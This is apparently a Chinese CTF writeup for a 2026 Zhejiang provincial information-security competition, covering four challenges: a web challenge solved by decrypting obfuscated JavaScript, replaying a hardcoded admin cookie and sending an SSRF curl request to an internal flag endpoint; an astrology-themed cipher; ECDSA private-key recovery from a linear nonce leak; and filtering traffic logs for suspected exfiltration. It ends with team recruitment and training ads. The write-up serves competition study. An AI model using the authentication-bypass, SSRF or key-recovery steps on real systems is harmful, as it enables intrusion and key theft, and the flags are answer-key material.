2026年浙江省信息通信业职业技能竞赛(信息安全测试员竞赛) 初赛Wireup
赛查查
2026年8月31日 17:41
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
以下文章来源于鱼影安全
,作者落寞的鱼
鱼影安全
.
阿里云博客专家%20CSDN博客专家%20网络安全领域优质创作者%20中高职全国职业技能大赛国赛金牌培训讲师%20青年工匠%20多次培训出省赛第一名、国赛二等奖,市赛无数等战绩。第七届全国残疾人职业技能大赛%20网络安全%20赛项%20浙江集训教练等。
点击上方蓝字·关注我们
前言:
夜班刚好赶巧打比赛,还有些题目忙完在复现!
随便记录下大家随便看看就行,最近太忙了!
Web-easy\_js:
某新闻门户网站刚刚上线,听说管理员在开发过程中留下了一些\"方便调试\"的后门,你能找到并获取Flag吗?
页面中存在反调试、禁用右键、禁用快捷键等前端保护,但这些都只是在浏览器端执行,不影响直接查看HTTP响应和下载JS文件
发现文件注释声称使用了%20AES-256-CBC%20+%20Base64
分析后发现代码逻辑:
-
Base64%20解码
-
使用固定%20key%20做%20XOR
-
eval%20执行解密后的代码
const encrypted%20= atob(encryptedBase64);const key%20= 'ctf_secret_key_32_chars_long_123456';
let decrypted%20= '';for (let i%20= 0;%20i%20<%20encrypted.length;%20i++)%20{ const encryptedChar%20=%20encrypted.charCodeAt(i); const keyChar%20=%20key.charCodeAt(i%20%%20key.length); const decryptedChar%20=%20encryptedChar%20^%20keyChar; %20decrypted%20+= String.fromCharCode(decryptedChar);}
因此可以离线解密%20bundle。
const fs%20= require('fs');
const text%20=%20fs.readFileSync('main.bundle.js', 'utf8');const key%20= 'ctf_secret_key_32_chars_long_123456';const match%20=%20text.match(/const\\s+ENCRYPTED_CODE_[A-Z]+\\s*=\\s*'([^']+)'/);
const enc%20= Buffer.from(match[1], 'base64');const out%20= Buffer.alloc(enc.length);
for (let i%20= 0;%20i%20<%20enc.length;%20i++)%20{ %20out[i]%20=%20enc[i]%20^%20key.charCodeAt(i%20%%20key.length);}
console.log(out.toString('utf8'));```
解密结果:
{ %20BASE_URL: \"http://localhost:3000\", %20ENDPOINTS:%20{ %20 %20NEWS: \"/api/news\", %20 %20SEARCH: \"/api/search\", %20 %20ADMIN_LOGIN: \"/api/admin/login\", %20 %20INTERNAL_FLAG: \"/internal/flag\", %20 %20SSRF: \"/secret_admin_panel_x9k2m8n7/api/fetch\" %20}}
解密%20/js/apiConfig.bundle.js后,
题目几乎直接给出了漏洞提示:
CHALLENGE_NAME: \"News%20Portal%20SSRF%20Challenge\"FLAG_LOCATION: \"http://localhost:3000/internal/flag\"VULNERABILITIES:%20{ %20SSRF:%20{ %20 %20target: \"http://localhost:3000/internal/flag\", %20 %20method: \"POST\" %20}, %20WEAK_AUTH:%20{ %20 %20bypass_method: \"frontend_only_validation\" %20}}
说明目标是通过后台%20SSRF%20接口访问内网%20flag%20地址:
http://localhost:3000/internal/flag
接下来就是绕过:
curl%20-i http://47.103.103.15:28955/secret_admin_panel_x9k2m8n7
<script src=\"/js/hiddenLogin.bundle.js\"></script>
解密 /js/hiddenLogin.bundle.js 后,
发现登录成功逻辑完全依赖前端判断后端响应:
if ( %20c.success === true && %20c.message === \"登录成功\" && %20c.redirect === \"/secret_admin_panel_x9k2m8n7\")%20{ document.cookie = \"admin_token=...;%20path=/\"; window.location.href =%20c.redirect;}
同时可以看到前端写入的管理员 cookie:
admin_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJ0aW1lIjoxNzA2MTIzNDU2fQ.fake_signature_admin_2025
带上该 cookie 访问后台即可绕过认证:
curl -i \\ %20-H \"Cookie:%20admin_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJ0aW1lIjoxNzA2MTIzNDU2fQ.fake_signature_admin_2025\" \\ %20http://47.103.103.15:28955/secret_admin_panel_x9k2m8n7
SSRF获取Flag%20最终利用命令:
curl -s%20-X%20POST \\ %20-H \"Content-Type:%20application/json\" \\ %20-H \"Cookie:%20admin_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJ0aW1lIjoxNzA2MTIzNDU2fQ.fake_signature_admin_2025\" \\ %20-d%20'{\"url\":\"http://localhost:3000/internal/flag\"}' \\ %20http://47.103.103.15:28955/secret_admin_panel_x9k2m8n7/api/fetch
Misc-hello:
根据 note.txt:
1.二十八宿顺序从东方青龙的角开始。’
2.外圈按逆时针入阵,每象七宿,走完一象再进入下一象。
3.使用后天八卦方位和洛书门数,中宫不入。
后天八卦洛书数:
坎北=1,坤西南=2,震东=3,巽东南=4,乾西北=6,兑西=7,艮东北=8,离南=9
二十八宿读取顺序:
角%20亢%20氐%20房%20心%20尾%20箕斗%20牛%20女%20虚%20危%20室%20壁奎%20娄%20胃%20昴%20毕%20觜%20参井%20鬼%20柳%20星%20张%20翼%20轸
从 maze.png 读取每个星宿所在卦门,得到分组:
震东=3:角 亢 氐 房艮东北=8:心 尾 箕坎北=1:斗 牛 女 虚乾西北=6:危 室 壁兑西=7:奎 娄 胃 昴坤西南=2:毕 觜 参离南=9:井 鬼 柳 星巽东南=4:张 翼 轸
最后使用字母表:
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_
对每个 shard 按所在卦门门数反向位移。
alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_\"
order = \"角亢氐房心尾箕斗牛女虚危室壁奎娄胃昴毕觜参井鬼柳星张翼轸\"
shards = { \"胃\": \"E\", \"角\": \"0\", \"柳\": \"3\", \"室\": \"G\", \"尾\": \"2\", \"觜\": \"W\", \"亢\": \"X\", \"奎\": \"G\", \"牛\": \"P\", \"张\": \"Q\", \"房\": \"Q\", \"虚\": \"U\", \"鬼\": \"Q\", \"昴\": \"G\", \"斗\": \"I\", \"壁\": \"T\", \"箕\": \"H\", \"井\": \"1\", \"氐\": \"D\", \"女\": \"V\", \"星\": \"I\", \"毕\": \"N\", \"轸\": \"T\", \"心\": \"4\", \"参\": \"Q\", \"翼\": \"E\", \"娄\": \"9\", \"危\": \"O\",}
door_num = {}for x in \"角亢氐房\": door_num[x] = 3for x in \"心尾箕\": door_num[x] = 8for x in \"斗牛女虚\": door_num[x] = 1for x in \"危室壁\": door_num[x] = 6for x in \"奎娄胃昴\": door_num[x] = 7for x in \"毕觜参\": door_num[x] = 2for x in \"井鬼柳星\": door_num[x] = 9for x in \"张翼轸\": door_num[x] = 4
ans = []for mansion in order: shard = shards[mansion] shift = door_num[mansion] idx = alphabet.index(shard) ans.append(alphabet[(idx - shift) % len(alphabet)])
plain = \"\".join(ans)print(plain)print(f\"flag{{{plain}}}\")
Crypto-ezmath:
一批硬件签名模块的调试日志被导出。日志中每条记录包含一段消息、对应的ECDSA签名,以及两个被工程师称为“校准参数”的数值。厂商认为这些校准参数只是设备运行状态,不会影响私钥安全。
附件给出了曲线名称、公开密钥和三条签名记录。请检查这些记录之间是否存在可以利用的结构,并恢复签名模块的私钥。私钥按大端字节还原后就是本题 flag。
曲线:secp256k1
公钥:pubkey
3条消息 msg
对应 ECDSA 签名 sig_der
每条记录的 alpha\\``beta
ECDSA 签名方程为:
s = k^-1 * (z + r*d) mod n
d 是私钥。
k 是签名随机数 nonce
z = sha256(msg)
n 是 secp256k1 的阶
题目给出的 alpha、beta 对应一个线性 nonce 泄露模型:
k = alpha * seed + beta mod n
代入签名方程:
s * (alpha * seed + beta) = z + r*d mod n
整理为二元一次同余方程:
r*d - s*alpha*seed = s*beta - z mod n
每条签名记录都能得到一条关于d和seed的线性方程。任意取两条记录,在模n下解二元一次方程组即可恢复私钥d。恢复出的私钥十六进制转字节后就是 flag。
import hashlibimport json
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def parse_der(sig_hex): b = bytes.fromhex(sig_hex) assert b[0] == 0x30 and b[2] == 0x02 r_len = b[3] r = int.from_bytes(b[4:4 + r_len], \"big\") pos = 4 + r_len assert b[pos] == 0x02 s_len = b[pos + 1] s = int.from_bytes(b[pos + 2:pos + 2 + s_len], \"big\") return r, s
def inv(x): return pow(x % N, -1, N)
def solve_two_linear(e1, e2): a1, b1, c1 = e1 a2, b2, c2 = e2 det = (a1 * b2 - a2 * b1) % N d = ((c1 * b2 - c2 * b1) * inv(det)) % N seed = ((a1 * c2 - a2 * c1) * inv(det)) % N return d, seed
data = json.load(open(\"records.json\", encoding=\"utf-8\"))
equations = []for rec in data[\"records\"]: msg = bytes.fromhex(rec[\"msg\"]) z = int.from_bytes(hashlib.sha256(msg).digest(), \"big\") r, s = parse_der(rec[\"sig_der\"]) alpha = int(rec[\"alpha\"]) % N beta = int(rec[\"beta\"]) % N
# r*d - s*alpha*seed = s*beta - z equations.append((r % N, (-s * alpha) % N, (s * beta - z) % N))
d, seed = solve_two_linear(equations[0], equations[1])flag = d.to_bytes((d.bit_length() + 7) // 8, \"big\").decode()print(flag)0x666c61677b3825596466216f3f6a30524a37596565543f79307d
转换字节:
flag{8%Ydf!o?j0RJ7YeeT?y0}
数据安全-流量分析:
给定一份网络流量摘要文件《traffic.csv》。安全设备标记了一类疑似数据外传流量,其特征如下:
-
Protocol 为 HTTP;
-
Method 为 POST;
-
Host 为 update-sync.example;
-
URI 为 /api/collect;
-
DstPort 为 80;
-
BytesOut 大于等于 800000;
-
Status 为 200。
检测任务:筛选满足以上全部条件的流量记录,将命中的 FlowID 按数字升序排列,并使用英文逗号 , 拼接为 FlowID 列表。先计算 FlowID 列表的 32 位小写 MD5,再构造答案明文:\"命中流量条数|FlowID列表MD5\"
思路:直接读取CSV,按题面给出的7个条件逐条过滤。注意DstPort虽然是端口,但从csv读取后的字符串 BytesOut和FlowID 需要转为整数,分别用于大小比较和数字升序排序。
import csvimport hashlib
with open(\"traffic.csv\", newline=\"\", encoding=\"utf-8-sig\") as f: rows = list(csv.DictReader(f))
hits = []for r in rows: if ( r[\"Protocol\"] == \"HTTP\" and r[\"Method\"] == \"POST\" and r[\"Host\"] == \"update-sync.example\" and r[\"URI\"] == \"/api/collect\" and r[\"DstPort\"] == \"80\" and int(r[\"BytesOut\"]) >= 800000 and r[\"Status\"] == \"200\" ): hits.append(int(r[\"FlowID\"]))
hits.sort()flowid_list = \",\".join(map(str, hits))flowid_md5 = hashlib.md5(flowid_list.encode()).hexdigest()plain = f\"{len(hits)}|{flowid_md5}\"answer_md5 = hashlib.md5(plain.encode()).hexdigest()
print(len(hits))print(flowid_list)print(flowid_md5)print(plain)print(f\"flag{{{answer_md5}}}\"):
命中条数:88
FlowID 列表 MD5:
768d0caf3887b0ad29368f2d6f11c00c
88|768d0caf3887b0ad29368f2d6f11c00c flag{6d705e4056d6611766c3929686f20d89}
欢迎师傅加入交流群学习/招新简历可以联系小编!
排版偏手机观看,手机看效果体验更好哦!
需要交流或者培训可以联系小编加群交流!
2025第二届全国行业赛-电子取证师需要资源dd
初赛培训班10+学员全部晋级复赛,可以指导!
此次2025行业赛圆满结束!
需要备战2027第三届网络安全行业赛-电子取证赛道的可以联系小编.适合取证感兴趣的小伙伴,0基础也能学。
PS:第二届甘肃技能大赛通知-真题辅导需要可以联系!
数据安全/信息安全评估赛项星球
第二届数字化职工组/数据安全技能大赛(备战第三届可以培训)
第四届全国数据安全职业技能竞赛(美亚数据安全管理员/可培训)
知识星球699/年(后续有最新资源可能涨价,购买前私信小编!)
*关注我们/战队招新*
招新要求:
热爱安全,不止围观。
为了聚集更多热爱网络安全与 CTF 的伙伴,鱼影安全现面向全网招募战队成员。无论你是在校学生、安全从业者,还是正在自学的新人,只要愿意持续投入、认真钻研,都欢迎加入我们。
招募方向:
Web安全/Pwn/Reverse/Crypto/Misc/Ai安全及相关方向
我们希望你:
1.对网络安全和 CTF 有长期兴趣,能够保持稳定学习,而不是三分钟热度;
2.至少掌握一项基础能力,例如 Linux、Python、Web 基础、逆向分析或密码学基础;
3.能够独立完成简单题目,并清晰整理、复现解题过程;
4.有责任心和团队意识,比赛期间能够及时沟通、合理配合;
5.遵守法律法规和团队纪律,技术仅用于合法授权的学习、研究与竞赛。
没有比赛经验也可以报名。相比“现在有多强”,我们更看重你的学习能力、执行力和持续投入。
加入后你可以获得:
1.日常刷题、技术交流与经验分享;
2.CTF 赛事组队及实战机会(线下组局认识大佬机会)
3.优质题目、工具和学习资料共享;(内部比赛环境资源)
4.Writeup、原创文章及个人成果展示机会;
5.与团队成员共同研究、共同进步的技术氛围。
我们不要求你一开始就很强,但希望你靠谱、主动、愿意坚持。
如果你也想从“看别人做题”走向“自己拿下 Flag”
欢迎加入鱼影安全CTF战队
联系方式:添加上面小编绿泡泡发简历即可
欢迎关注鱼影安全社区,专注CTF,职业技能大赛中高职技能培训,信息安全评估高职组赛项,金砖一带一路诸暨技能大赛:企业信息安全赛道-攻防治理赛道-首届金砖虚拟网络建设赛道-创信大赛,世界技能大赛省选拔赛,企业赛,行业赛,电子取证和CTF系列培训,工控CTF系列,第二届网络安全行业职业技能大赛(电子取证师、渗透测试员、网络安全管理员、网络信息审核员)等。
鱼影安全团队招人啦,有感兴趣的师傅可以私信我
电子取证培训、盘古石、美亚杯、内部比武可以一对一指导!
需要学习数据安全管理员和CTF安全培训,可以联系小编!
点分享
点收藏
点在看
点点赞
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论